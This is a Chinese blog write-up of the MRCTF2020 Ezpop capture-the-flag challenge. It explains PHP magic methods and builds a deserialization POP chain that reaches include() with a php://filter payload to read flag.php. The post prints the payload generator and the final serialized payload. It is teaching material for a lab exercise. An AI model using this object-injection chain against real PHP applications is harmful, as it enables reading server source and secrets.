当前位置:网站首页>[MRCTF2020]Ezpop(详解)
[MRCTF2020]Ezpop(详解)
2022-08-05 03:52:00 【pakho_C】
[MRCTF2020]Ezpop
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
php代码审计
知识点:
1.__invoke()
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
eg:
<?php
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=25, $sex='男')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __invoke() {
echo '这可是一个对象哦';
}
}
$person = new Person('小明'); // 初始赋值
$person();
输出:这可是一个对象哦
2.__toString()
作用:
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
eg:
<?php
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=25, $sex='男')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __toString()
{
return 'go go go';
}
}
$person = new Person('小明'); // 初始赋值
echo $person;
结果:go go go
3. __get()
当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数
eg:
class Person
{
private $name;
...
}
$person3 = new Person();
echo $person3->$name;//这个时候__get()函数自动调用,然后输出$name中的值
解题:
题目对pop参数进行反序列化操作,那么需要构造序列化后的pop参数
当pop参数为Show类时,反序列化时会先调用__wakeup()函数,进行过滤
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
此时pop为show类的一个对象,包含2个参数:source和str,由于构造函数__construct有echo $this->source,要触发__toString()函数,则可以将source参数作为一个类的对象
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
将pop对象的参数source作为Show类的对象(此时source对象也有两个参数:source和str),则会执行__toString()函数,return source对象的str参数的source,此时str如果是Test类的一个对象,则没有source参数,执行__toString()函数则会找不到source参数,就会调用Test类对象str的__get()函数
public function __get($key){
$function = $this->p;
return $function();
}
__get()函数调用p参数对应的函数 注意:$function()
如果$function是个对象,那么则会调用__invoke()函数
public function __invoke(){
$this->append($this->var);
}
所以可以将参数p设置为Modifier类的对象,从而执行__invoke()函数,进而执行append函数
public function append($value){
include($value);
}
所以可以将var参数设置为php://filter/read=convert.base64-encode/resource=flag.php用来读取flag
整体流程:
构造payload:
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
}
$pop = new Show();
$pop->source = new Show();
$pop->source->str = new Test();
$pop->source->str->p = new Modifier();
echo urlencode(serialize($pop));
?>

需要urlencode的原因参考了另一位师傅的话:
最后的序列化结果进行url编码的原因我认为是这样的:如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行url编码
得到最终payload:
pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D


边栏推荐
- leetcode-每日一题1403. 非递增顺序的最小子序列(贪心)
- pyqt5 + socket 实现客户端A经socket服务器中转后主动向客户端B发送文件
- token、jwt、oauth2、session解析
- Redis key基本命令
- 2022.8.4-----leetcode.1403
- Shell script: for loop and the while loop
- High Item 02 Information System Project Management Fundamentals
- Hard power or soft power, which is more important to testers?
- Package zip is not available, but is referred to by another package.
- Android interview question - how to write with his hands a non-blocking thread safe queue ConcurrentLinkedQueue?
猜你喜欢

There are several common event handling methods in Swing?How to listen for events?

开发Hololens遇到The type or namespace name ‘HandMeshVertex‘ could not be found..

Kubernetes 网络入门

This year's Qixi Festival, "love vegetables" are more loving than gifts

Shell script: for loop and the while loop
![[Software testing] unittest framework for automated testing](/img/80/caedd5cf6dd61c9d75475866613cac.png)
[Software testing] unittest framework for automated testing

2022-08-04 The sixth group, hidden from spring, study notes

How to solve the three major problems of bank data collection, data supplementary recording and index management?

shell脚本:for循环与while循环

阿里本地生活单季营收106亿,大文娱营收72亿,菜鸟营收121亿
随机推荐
Developing Hololens encountered The type or namespace name 'HandMeshVertex' could not be found..
[TA-Frost Wolf_may-"Hundred Talents Project"] Graphics 4.3 Real-time Shadow Introduction
You may use special comments to disable some warnings. 报错解决的三种方式
public static <T> List<T> asList(T... a) 原型是怎么回事?
Fifteen. Actual combat - MySQL database building table character set and collation
UE4 第一人称角色模板 添加蹲伏功能
UE4 通过重叠事件开启门
905. Interval selection
Confessing the era of digital transformation, Speed Cloud engraves a new starting point for value
ffmpeg -sources分析
The test salary is so high?20K just graduated
UE4 通过互动(键盘按键)开门
UE4 opens door via interaction (keyboard key)
BI业务分析思维:现金流量风控分析(二)信用、流动和投资风险
第一次性能测试实践,有“亿”点点紧张
日志导致线程Block的这些坑,你不得不防
Thinking (88): Use protobuf custom options for multi-version management of data
Industry Status?Why do Internet companies prefer to spend 20k to recruit people rather than raise their salary to retain old employees~
阿里本地生活单季营收106亿,大文娱营收72亿,菜鸟营收121亿
From "useable" to "easy to use", domestic software is self-controllable and continues to advance